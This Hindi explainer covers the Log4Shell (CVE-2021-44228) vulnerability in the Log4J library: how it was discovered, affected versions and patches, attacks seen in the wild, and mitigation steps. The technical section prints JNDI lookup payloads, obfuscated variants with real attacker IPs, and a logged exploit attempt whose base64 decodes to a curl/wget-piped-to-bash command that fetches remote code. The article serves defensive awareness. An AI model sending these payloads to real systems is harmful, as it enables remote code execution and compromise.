जावा I.T.-संबंधित उपकरणों जैसे मोबाइल, डेस्कटॉप, सर्वर, IoT डिवाइस, राउटर, प्रिंटर, कॉपी मशीन आदि में हर जगह पाया जाता है। अधिकांश लोकप्रिय सॉफ्टवेयर एप्लिकेशन और गेम के साथ-साथ अनुकूलित एंटरप्राइज एप्लिकेशन जावा का उपयोग करके विकसित किए जाते हैं। एक मोटा अनुमान है कि 3 बिलियन डिवाइस जावा चलाते हैं। जावा लाइब्रेरी जावा की मजबूती को एक अलग स्तर पर ले जाती हैं। ऐसी ही एक लाइब्रेरी Log4J है जिसे ओपन-सोर्स Apache Software Foundation द्वारा विकसित किया गया था। यह Log4J लाइब्रेरी जावा-लॉगिंग फ्रेमवर्क का एक अनिवार्य हिस्सा है और एप्लिकेशन के एरर मैसेज को लॉग करने के लिए जिम्मेदार है।
Log4J लाइब्रेरी का उपयोग
लॉगिंग डेवलपर्स को उन सभी गतिविधियों को देखने में मदद करती है जो एक एप्लिकेशन कर रहा है और लगभग हर सॉफ्टवेयर एप्लिकेशन (यहां तक कि क्लाउड-आधारित) अपने एरर के लिए लॉग बनाता है। डेवलपर्स आमतौर पर अपने एप्लिकेशन की लॉगिंग सिस्टम नहीं बनाते (पहिए को फिर से आविष्कार न करने के लिए) बल्कि एक पहले से स्थापित लॉगिंग लाइब्रेरी का उपयोग करना पसंद करते हैं (कोडिंग और विकास में एक सामान्य मानदंड) और जावा की सबसे लोकप्रिय लॉगिंग लाइब्रेरी में से एक Log4J है।
तो, लगभग हर एप्लिकेशन (सरकारों, एजेंसियों, उद्यमों, माइक्रोसॉफ्ट, ऐप्पल, गूगल आदि द्वारा एप्लिकेशन सहित) जो जावा में लिखे गए हैं में यह लाइब्रेरी हो सकती है और ऐसी लाइब्रेरी में भेद्यता एक साइबर सुरक्षा का बुरा सपना और हैकर्स के लिए सपना सच होने जैसा हो सकता है। इसके अलावा, यह लाइब्रेरी ओपन-सोर्स है, इसलिए इस बात का कोई आधिकारिक आंकड़ा नहीं है कि कितने डिवाइस/एप्लिकेशन इस लाइब्रेरी का उपयोग कर रहे हैं।
Log4J कई लोकप्रिय एप्लिकेशन (जैसे ट्विटर, ऐप्पल iCloud), गेम (जैसे Minecraft, Steam), वेबसाइट्स, आदि द्वारा उपयोग किया जाता है। इनके साथ, यह लाइब्रेरी कई अन्य फ्रेमवर्क जैसे Kafka, Elasticsearch, Flink का भी हिस्सा है। Log4J शोषण के लिए असुरक्षित एप्लिकेशन, उत्पाद, प्लग-इन की सूची लगातार बढ़ रही है।
Log4J में भेद्यता का पता लगाना
पहली रिपोर्ट Log4J में भेद्यता की शुरुआत में 1 दिसंबर 2021 को Chen Zhaojun द्वारा Alibaba Cloud Security टीम से सामने आई, जिन्होंने एक मानक बग हंटिंग अभ्यास के रूप में और एक जिम्मेदार I.T. व्यक्ति के रूप में, Apache Foundation को दोष के बारे में सूचित किया (हालांकि, कुछ बग हंटर्स ऐसी भेद्यताओं को हैकर्स को बेच देते हैं और ऐसी भेद्यताएं महीनों या वर्षों तक अनदेखी रहती हैं)। पता लगाना Minecraft में हुआ है। Minecraft का चैट फीचर Log4J शोषण की पहचान का स्रोत है।
गेम के चैट एल्गोरिदम जावा API पर आधारित हैं जो Log4J लाइब्रेरी का उपयोग करता है और इस लाइब्रेरी ने बुरे लोगों को Minecraft सर्वर को फ्रीज करने, सभी खिलाड़ियों को हटाने आदि की अनुमति दी। एक अनुकूल वातावरण में, इस भेद्यता को रिमोट कोड एक्जीक्यूशन (RCE) द्वारा आसानी से हेरफेर किया गया था, जो भेद्यता के खतरे के स्तर को बढ़ाता है।
Log4J लाइब्रेरी में भेद्यता की उपस्थिति को 9 दिसंबर 2021 को Apache द्वारा सार्वजनिक रूप से स्वीकार किया गया था। भेद्यता को Log4Shell नाम दिया गया था और आधिकारिक तौर पर CVE-2021-44228 के रूप में लेबल किया गया था। CVE (Common Vulnerabilities and Exposures) नंबरिंग सिस्टम दुनिया भर में पहचाने जाने वाले प्रत्येक भेद्यता/शोषण को विशिष्ट रूप से पहचानने की एक नामकरण प्रणाली है।
Log4J को जीरो-डे (या 0 दिन) भेद्यता के रूप में वर्गीकृत किया गया है। जीरो-डे भेद्यता का अर्थ है कि भेद्यता को हैकर्स द्वारा पहले से ही लक्षित किया जा रहा है, इससे पहले कि डेवलपर्स को दोष के बारे में पता चले और शोषण के लिए पैच लागू करने के लिए उनके पास जीरो-डे हो।
Log4J लाइब्रेरी के प्रभावित संस्करण और जारी पैच
Log4J संस्करण 2.0 से 2.14.1 भेद्यता से प्रभावित बताए गए हैं। Log4J संस्करण 2.15.0 CVE-2021-44228 के लिए जारी मूल पैच था लेकिन बाद में, Log4J में एक और भेद्यता पाई गई (ज्यादातर, गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन में) जिसे CVE-2021-45046 लेबल किया गया। इस भेद्यता का सुरक्षा प्रभाव 3.7 था (मूल भेद्यता की तुलना में काफी कम)। Apache Foundation ने तब मूल सुधार में शोषण को पैच करने के लिए Log4j संस्करण 2.16 जारी किया।
जैसे ही हम इस लेख पर काम कर रहे थे, Log4J भेद्यता के लिए लेबल CVE-2021-45105 (डिनायल-ऑफ-सर्विस/DoS हमला) के लिए एक और पैच Log4J संस्करण 2.17 Apache से जारी किया गया है। पैच के बारे में जानकारी Apache वेबसाइट के आधिकारिक Log4J सुरक्षा पृष्ठ पर उपलब्ध है।
कई पाठक सोच सकते हैं कि चूंकि पैच पहले ही Log4J पर लागू हो चुका है, तो यह हंगामा क्यों? हालांकि Log4J लाइब्रेरी का नवीनतम संस्करण पैच किया गया है, एप्लिकेशन, उत्पाद, प्लग-इन, आदि जो अभी भी Log4J के पुराने संस्करणों का उपयोग कर रहे हैं, अभी भी अनपैच्ड हैं। इसके अलावा, उन एप्लिकेशन का मामला है जो एबंडनवेयर बन गए हैं और Log4J के कमजोर संस्करण का उपयोग कर रहे हैं। एबंडनवेयर एक सॉफ्टवेयर उत्पाद है जिसे उसके मालिकों/निर्माताओं द्वारा अनदेखा/आगे विकसित नहीं किया जाता है और बिना किसी आधिकारिक समर्थन के है।
Log4J शोषण की भयावहता
सुरक्षा प्रभाव रेटिंग पर, Log4J शोषण को आसानी से 10/10 (उच्चतम संभव जोखिम स्तर) के रूप में वर्गीकृत किया जा सकता है। इस भेद्यता की भयावहता इतनी बड़ी है कि सभी प्रमुख खिलाड़ी (माइक्रोसॉफ्ट, गूगल, सिस्को, आदि) सरकारों और Apache (Log4J के डेवलपर्स) के साथ भेद्यता को पैच करने के लिए दिन-रात काम कर रहे हैं। इन कंपनियों की चिंता और प्रतिक्रिया उनके आधिकारिक वेब पेज या सोशल मीडिया अकाउंट पर देखी जा सकती है। भेद्यता की गंभीरता को तब नोट किया जा सकता है जब Jen Easterly CISA की निदेशक (यूएस Cybersecurity and Infrastructure Security Agency) ने Log4J शोषण का उल्लेख किया
मेरे पूरे करियर में मैंने जितनी गंभीर देखी हैं, उनमें से एक, यदि सबसे गंभीर नहीं तो।
और इस गंभीरता के कारण, I.T. उद्योग के नेता सोचते हैं कि Log4J भेद्यता आने वाले वर्षों तक उद्योग को परेशान करती रहेगी।
Log4J भेद्यता का पहले पता क्यों नहीं चला?
कई उपयोगकर्ताओं के मन में एक सवाल आता है कि इतनी बड़ी भयावहता वाली भेद्यता का पहले पता क्यों नहीं चला क्योंकि Log4J लाइब्रेरी 2013 से उपलब्ध है। हालांकि USA 2016 BlackHatEvents में Log4J की एक भेद्यता प्रस्तुत की गई थी, जिसमें JNDI को एक अटैक वेक्टर के रूप में चर्चा की गई थी, जबकि, वर्तमान भेद्यता एक प्रकार का टेम्पलेट इंजेक्शन है जो JNDI के उपयोग की अनुमति देता है।
लेकिन सॉफ्टवेयर एप्लिकेशन में, शोषण का पता लगाना कठिन है क्योंकि नई प्रौद्योगिकियां उभरती हैं, I.T. उद्योग का क्षितिज बदलता है (उदाहरण के लिए, इंटरनेट के आविष्कार से पहले और बाद के सॉफ्टवेयर एप्लिकेशन एक अलग कहानी हैं)। इसके अलावा, जैसा कि पहले चर्चा की गई है, Log4J लाइब्रेरी संस्करण 2.0 से नीचे प्रभावित नहीं हैं (उनके अपने मुद्दे हैं), इसलिए, प्रौद्योगिकी में प्रगति वह कारण था जिससे इस शोषण का पता लगाया जा सका।
Log4J भेद्यता का उपयोग करके हमले
शहर में नए शोषण के साथ, हैकर्स शोषण का उपयोग करने के लिए अपने उपकरणों को लक्षित कर रहे हैं। शोषण को लक्षित करने वाला पहला देखा गया मैलवेयर CryptoMiners था (जो प्रभावित मशीन से क्रिप्टो-मुद्रा माइन करता है)। उसके बाद Cobalt Strike (पेनेट्रेशन टेस्टिंग) संक्रमित सिस्टम से यूजरनेम/पासवर्ड चुराने के लिए आया। फिर Khonsari जैसे रैंसमवेयर-आधारित मैलवेयर जहाज में शामिल हुए और सूची जारी है। और अंतिम लेकिन कम नहीं, विभिन्न देशों द्वारा राज्य-समर्थित हैकिंग समूह प्रतिद्वंद्वियों को इस भेद्यता का शोषण करके लक्षित कर रहे हैं। यहां ESET का एक मानचित्र है जो किए गए रिपोर्ट किए गए हमलों के बारे में है (सबसे अधिक मात्रा में हमले यूएस, यूके, जर्मनी, तुर्की और नीदरलैंड में)।
अब तक, 1800000 से अधिक रिपोर्ट की गई घटनाएं (और गिनती जारी) हैंकर्स द्वारा इस Log4J शोषण का उपयोग करने के प्रयासों की। इसके अलावा, लगभग 40 प्रतिशत से अधिक कॉर्पोरेट नेटवर्क इस भेद्यता का उपयोग करके हमला किए गए हैं। विभिन्न साइटों पर शोषण कोड की उपलब्धता ने मामलों को बदतर बना दिया है। इसके अलावा, चीजें जटिल हो गईं क्योंकि शोषण को HTTP और HTTPS प्रोटोकॉल द्वारा लक्षित किया जा सकता है।
लेकिन यह सिर्फ शुरुआती बिंदु है क्योंकि यदि भेद्यता को लक्षित करने वाला एक मैलवेयर वर्म विकसित किया जाता है, तो इसका प्रभाव मूल भेद्यता से कहीं अधिक हो सकता है। क्योंकि, एक कंप्यूटर वर्म एक स्टैंडअलोन सॉफ्टवेयर का टुकड़ा है जो चुपचाप खुद को दोहराता है और नेटवर्क के माध्यम से फैलता है (उदाहरण के लिए, 2000 के दशक में Code Red worm या 2017 में WannaCry)।
यह कैसे काम करता है
Log4J लाइब्रेरी (लॉगिंग फ्रेमवर्क के साथ) ट्रैक रखती है कि एक एप्लिकेशन क्या कर रहा है और शोषण का उपयोग करने के लिए, एक हमलावर को केवल एक साधारण कार्य द्वारा Log4J में एक लॉग एंट्री को मजबूर करने की आवश्यकता होती है, जैसे किसी अकाउंट का यूजरनेम सेट करना या कोड स्ट्रिंग को ईमेल में भेजना। एक हमलावर द्वारा लॉगिंग फ्रेमवर्क में एप्लिकेशन की लॉग एंट्री बनाना एप्लिकेशन से एप्लिकेशन (उदाहरण के लिए, Minecraft में, चैट फीचर का उपयोग किया गया था) या कंप्यूटर से कंप्यूटर में भिन्न हो सकता है। एक बार ऐसा लॉग एंट्री जिसमें दुर्भावनापूर्ण कोड हो, बन जाने के बाद, हमलावर मशीन में दुर्भावनापूर्ण कोड लोड कर सकता है, सिस्टम का पूर्ण नियंत्रण ले सकता है, नेटवर्क के माध्यम से फैल सकता है, मैलवेयर इंस्टॉल कर सकता है, हमले का दूसरा रूप लॉन्च कर सकता है या जो भी हो।
इस भेद्यता का सबसे खतरनाक हिस्सा यह है कि यह "प्री-ऑथेंटिकेटेड" है, जिसका अर्थ है कि एक हैकर को कमजोर सिस्टम पर नियंत्रण लेने के लिए साइन इन करने की आवश्यकता नहीं है।
शोषण को निम्नलिखित चरणों में सरलता से वर्णित किया जा सकता है:
- शोषण हैकर द्वारा ट्रिगर किया जाता है एक उपयोगकर्ता-आपूर्ति इनपुट के माध्यम से एक दुर्भावनापूर्ण पेलोड भेजकर। यह पेलोड एक HTTP/HTTPS हेडर या कोई अन्य चीज हो सकती है जिसे Log4j का उपयोग करने वाला कमजोर एप्लिकेशन लॉग कर रहा हो।
- एप्लिकेशन दुर्भावनापूर्ण पेलोड को अपने डेटा में लॉग करता है।
- Log4J लाइब्रेरी दुर्भावनापूर्ण उपयोगकर्ता इनपुट की व्याख्या करने का प्रयास करती है और हैकर-नियंत्रित सर्वर से जुड़ती है (उदाहरण के लिए, LDAP)।
- दुर्भावनापूर्ण सर्वर (उदाहरण के लिए, LDAP) प्रतिक्रिया लौटाता है जो एप्लिकेशन को रिमोट क्लास जावा फाइल लोड करने का निर्देश देता है।
- एप्लिकेशन रिमोट फाइल को डाउनलोड और निष्पादित करता है जो हैकर को अपने बुरे कार्यों को निष्पादित करने के लिए दरवाजे खोलता है।
प्रक्रिया को निम्नलिखित चार्ट में समझाया गया है:
क्या आप सुरक्षित हैं?
तो, उपरोक्त से गुजरने के बाद, एक उपयोगकर्ता के मन में सवाल आता है कि क्या मैं सुरक्षित हूँ? यह निर्भर करता है। यदि कोई उपयोगकर्ता किसी ऐसे संगठन का हिस्सा है जो जावा Log4J लाइब्रेरी का उपयोग करता है, तो वह और उसका संगठन जोखिम में हैं। यदि कोई उपयोगकर्ता या उसका संगठन किसी भी जावा-आधारित चीज का उपयोग नहीं कर रहा है (सबसे असंभव) लेकिन यदि एंटरप्राइज एप्लिकेशन निर्भरताएं, थर्ड-पार्टी वेंडर यूटिलिटी या एप्लिकेशन जावा-आधारित हैं, तो उपयोगकर्ता या उसका संगठन जोखिम में हो सकता है। आप उन एप्लिकेशन को खोज सकते हैं जिनका आप उपयोग कर रहे हैं यदि वे कमजोर हैं।
क्या करें?
अब, अंतिम सवाल, क्या करें यदि आपके सिस्टम या संगठन में Log4J भेद्यता मौजूद है।
एक उपयोगकर्ता के लिए
एक सामान्य एंड-यूजर इस भेद्यता के बारे में कुछ भी ठोस नहीं कर सकता सिवाय अपने एप्लिकेशन (विशेष रूप से एंटीवायरस/एंटी-मैलवेयर एप्लिकेशन), डिवाइस, या OS को अप टू डेट रखने के। यदि उपयोगकर्ता एबंडनवेयर का एक रूप उपयोग कर रहा है, तो इसे अनइंस्टॉल करना उसके सिस्टम को सुरक्षित रख सकता है। इसके अलावा, यदि आप एक ऑनलाइन सेवा का उपयोग कर रहे हैं (जैसे Stream), तो यह सुनिश्चित करना कि उन्होंने पैच लागू किए हैं (उनके आधिकारिक पेज या सोशल मीडिया हैंडल देखें) एक सामान्य उपयोगकर्ता के लिए आगे का रास्ता है।
एक संगठन के लिए
Log4J शोषण से संगठन को सुरक्षित रखने का माइलेज संगठन से संगठन में भिन्न हो सकता है। पहला कदम संपूर्ण इंफ्रास्ट्रक्चर, एप्लिकेशन निर्भरताओं, थर्ड-पार्टी वेंडर यूटिलिटी, या रिमोट कर्मचारियों का ऑडिट करना होना चाहिए ताकि यह पता लगाया जा सके कि भेद्यता मौजूद है या नहीं। ऑडिट को एप्लिकेशन लॉग में निम्नलिखित पैटर्न या उनके डेरिवेशन की तलाश करनी चाहिए:
${jndi:ldap:/} ${jndi:ldaps:/} ${jndi:rmi:/} ${jndi:dns:/} ${jndi:iiop:/}
संगठन ऑटोमेटेड थ्रेट हंटिंग और जांच उपकरण (जैसे TrendMicro द्वारा Log4J भेद्यता टेस्टर) का उपयोग भी कर सकता है ताकि ऐसे किसी भी एप्लिकेशन का पता लगाया जा सके जिनमें Log4J भेद्यता हो। संगठन के डेवलपर को Log4J भेद्यता के किसी भी संदर्भ के लिए अपने कोड की जांच करने के कार्य पर लगाया जाना चाहिए। इसके अलावा, संगठन के इंटरनेट-फेसिंग डिवाइस को जल्द से जल्द पैच किया जाना चाहिए ताकि तबाही से बचा जा सके। एक संगठन को जितनी जल्दी हो सके कार्य करना चाहिए क्योंकि संगठन को बुरे लोगों के साथ प्रतिस्पर्धा करनी होगी जो भेद्यता को लक्षित करने के लिए दूसरों से कम से कम 7 दिन आगे हैं।
दूसरे, वेब एप्लिकेशन फायरवॉल को भी जल्द से जल्द रखा जाना चाहिए ताकि संगठन के संसाधनों और डेटा की रक्षा की जा सके। लगभग हर प्रमुख खिलाड़ी (माइक्रोसॉफ्ट, ओरेकल, ऐप्पल, गूगल, अमेज़न, आदि) ने अपनी सेवाओं को अपडेट किया है और अपने उत्पादों के लिए पैच जारी किए हैं। इसलिए, एक संगठन को यह सुनिश्चित करना चाहिए कि उसके द्वारा उपयोग किए जा रहे सभी एप्लिकेशन और सेवाएं नवीनतम पैच हैं। इसके अलावा, एंटरप्राइज संगठनों को अनावश्यक इंटरनेट ट्रैफिक को सीमित करना चाहिए ताकि उनके जोखिम को कम किया जा सके, जो जोखिम स्तर को कम करेगा।
भेद्यता के तकनीकी पहलू
अब तक, हमने Log4J भेद्यता को आम आदमी की शर्तों में कवर करने की कोशिश की लेकिन इस खंड में, हम Log4J भेद्यता को डेवलपर्स के तकनीकी शब्दों में चर्चा करेंगे। इस भेद्यता का शोषण JNDI (Java Naming and Directory Interface) लुकअप का उपयोग करके किया जाता है। इसके परिणामस्वरूप डिनायल-ऑफ-सर्विस (DoS) हमला हो सकता है। जब भी JNDI को ${a_Java_expression} जैसा एक्सप्रेशन मिलता है, तो यह उस एक्सप्रेशन का मान ढूंढता है और उसे बदल देता है। कुछ Log4J समर्थित लुकअप sys, JNDI, env, java, lower, और upper हैं। Log4J लुकअप द्वारा समर्थित कुछ प्रोटोकॉल LDAP, DNS, RMI, और IIOP हैं। एप्लिकेशन लॉग में एक एंट्री इंजेक्ट करने के लिए, हमलावर सर्वर पर HTTP अनुरोधों का उपयोग कर सकता है और अनुरोध प्राप्त होने पर, Log4J लुकअप दुर्भावनापूर्ण.class (हैकर-नियंत्रित LDAP सर्वर पर होस्टेड) को डाउनलोड और निष्पादित करेगा, यदि LDAP ऑब्जेक्ट में ObjectClass एट्रिब्यूट को javaNamingReference के रूप में परिभाषित किया गया है और इसमें निम्नलिखित एट्रिब्यूट हैं:
javaCodebase javaFactory javaClassName
तब LDAP ऑब्जेक्ट लोडर javaCodebase में परिभाषित दुर्भावनापूर्ण URL की सामग्री को निकालेगा और मेमोरी में एक संवाददाता ऑब्जेक्ट बनाएगा। एक बार उल्लिखित वर्ग की इनिशियलाइज़ेशन विधि या अधिक औपचारिक रूप से, कंस्ट्रक्टर निष्पादित हो जाता है, एक अनट्रस्टेड कोड एक अनट्रस्टेड स्रोत से संक्रमित मशीन पर चल रहा होगा।
सबसे मूल अभिव्यक्ति जो एक हमलावर Log4J में इंजेक्ट कर सकता है
${jndi:ldap://{attacker_website}/a}
यह इस पर होस्ट किए गए दुर्भावनापूर्ण कोड को निष्पादित करेगा:
https://{attacker_website}/{malicious.class}
एक बार दुर्भावनापूर्ण कोड सफलतापूर्वक निष्पादित हो जाने पर, सर्वर स्ट्रिंग की व्याख्या करता है जिससे विभिन्न प्रारूपों जैसे JavaScript, Java Class, Unix शेल, आदि में शेल कमांड होते हैं।
भेद्यता की गंभीरता को बढ़ाने वाला एक अन्य कारक जावा ${} ब्लॉक की नेस्टिंग क्षमता है जो संदिग्ध स्ट्रिंग का पता लगाना बहुत अधिक कठिन बना देगा। उदाहरण के लिए, ${ jndi:} का उपयोग करने के बजाय, हैकर्स ${${lower:jn}${lower:di}} का उपयोग कर सकते हैं जो हैकर्स को रिमोट सर्वर से जानकारी/डेटा निकालने की अनुमति देगा।
एक दिलचस्प सवाल जो पाठक के मन में आ सकता है वह है कोड कहां डालें जो Log4J लाइब्रेरी में जा सकता है? कई एप्लिकेशन उनके साथ होने वाली हर चीज को लॉग करते हैं जिसमें HTTP हेडर (जैसे User-Agent या X-Forwarded-For), URI, रिक्वेस्ट बॉडी, आदि जैसे इनकमिंग रिक्वेस्ट शामिल हैं। सबसे बुरी बात यह है कि एक हमलावर इंटरनेट पर सभी से एप्लिकेशन के लॉगर को ऐसा अनुरोध भेज सकता है और फिर संक्रमित मशीन को नियंत्रित करने के लिए कमांड दे सकता है। प्रक्रिया को निम्नलिखित आरेख में स्पष्ट किया गया है:
निम्नलिखित Log4J लाइब्रेरी का उपयोग करके विभिन्न हमले के प्रकार शुरू करने के लिए अब तक पहचाने गए URLs के कुछ उदाहरण हैं:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo} ${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a} ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}
निम्नलिखित HTTP सर्वर लॉग्स का एक टुकड़ा है जो Log4J शोषण प्रयास दिखा रहा है:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"
उपरोक्त लॉग में base64 स्ट्रिंग डिकोड होती है:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
यह 45.155.xxx.xxx से दुर्भावनापूर्ण कोड लाएगा और बाद में Bash का उपयोग करके स्क्रिप्ट चलाएगा।
अंत में, हम अपने पाठकों को इस खतरे के खिलाफ सतर्क रहना चाहते हैं और इसे हल्के में नहीं लेना चाहिए क्योंकि इस भेद्यता के कारण इंटरनेट आग पर है।